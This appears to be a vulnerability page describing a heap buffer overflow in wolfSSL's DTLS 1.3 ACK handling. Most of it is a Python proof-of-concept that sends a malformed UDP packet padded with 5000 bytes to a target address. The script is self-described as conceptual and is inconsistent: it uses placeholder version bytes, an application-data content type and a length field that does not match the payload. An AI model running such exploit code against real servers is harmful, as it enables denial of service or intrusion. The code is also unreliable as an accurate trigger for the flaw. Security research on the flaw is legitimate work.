Heap buffer overflow in DTLS 1.3 ACK message processing. A remote attacker can send a crafted DTLS 1.3 ACK message that triggers a heap buffer overflow.
wolfSSL (DTLS 1.3 enabled versions prior to patch)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
# Conceptual Proof of Concept for CVE-2026-5264
# This script demonstrates how to send a malformed DTLS 1.3 ACK packet
# that attempts to trigger the heap buffer overflow in wolfSSL.
TARGET_IP = "127.0.0.1"
TARGET_PORT = 4433
def send_exploit():
# Construct a basic UDP packet
# Note: Real DTLS 1.3 handshake is required before sending ACK in a real scenario.
# This is a simplified representation of the trigger packet.
# DTLS Record Header (Simplified)
content_type = b'\x17' # Application Data or specific ACK type
version = b'\xfe\xfd' # DTLS 1.3 placeholder
epoch_seq = b'\x00' * 6
length = b'\x00\x02'
# Malformed payload designed to trigger the buffer overflow
# The specific length and content depend on the vulnerable heap layout.
# Sending excessive data to the ACK processing function.
payload = b'A' * 5000
packet = content_type + version + epoch_seq + length + payload
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
sock.sendto(packet, (TARGET_IP, TARGET_PORT))
print(f"[*] Malformed packet sent to {TARGET_IP}:{TARGET_PORT}")
except Exception as e:
print(f"[!] Error: {e}")
finally:
sock.close()
if __name__ == "__main__":
send_exploit()